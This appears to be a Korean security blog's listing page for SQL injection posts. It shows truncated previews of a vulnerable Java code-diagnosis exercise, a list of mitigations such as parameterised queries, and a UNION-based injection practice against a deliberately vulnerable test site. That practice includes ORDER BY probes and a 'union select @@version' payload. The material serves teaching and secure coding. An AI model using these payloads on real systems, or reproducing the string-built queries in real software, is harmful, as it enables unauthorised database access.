728x90 반응형 SQL삽입3 보안약점 진단 #4 01 public void do() throws Throwable { 02 String data = System.getenv("ADD"); 03 if (data != null) { 04 String names[] = data.split("-"); 05 int successCount = 0; 06 Connection dbConnection = null; 07 Statement stmt = null; 08 try { 09 dbConnection = IO.getDBConnection(); 10 stmt = dbConnection.createStatement(); 11 for (int i = 0; i < names.length; i++) { 12 stmt.addBatch("update users set hitc.. 2020. 7. 12. SQL 삽입 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문(SQL) 생성 및 실행에 사용하는 경우 발생 → 쿼리문의 구조와 의미가 변형되어서 실행 ⇒ 권한 밖의 데이터에 접근이 가능 ⇒ DBMS 서버의 제어권 탈취 ⇒ 쿼리 실행 결과를 우회한 처리 [대응방안] 정적쿼리를 사용(실행) = PreparedStatement 객체를 사용 = 구조화된 쿼리 실행 = 파라미터화된 쿼리 실행 동적쿼리를 사용해야 하는 경우, 입력값 검증 후 사용 = 쿼리 조작 문자열 포함 여부를 확인 후 사용 애플리케이션에서 사용하는 DB 사용자의 권한을 최소로 부여 → Stored Procedure를 이용한 SQLi 공격 또는 Union-Based SQLi 공격을 완화 오류 메시지에 시스템 정보가 노출되지 않도록 통제 → E.. 2019. 10. 1. UNION based SQL Injection 실습 http://testasp.vulnweb.com/showforum.asp?id=0 필드 개수 확인http://testasp.vulnweb.com/showforum.asp?id=0 order by 1 --http://testasp.vulnweb.com/showforum.asp?id=0 order by 2 --http://testasp.vulnweb.com/showforum.asp?id=0 order by 3 -- è The ORDER BY position number 3 is out of the number of items …버전 확인http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select @@version, 2-- è Microsoft SQL.. 2014. 11. 18. 이전 1 다음 728x90 반응형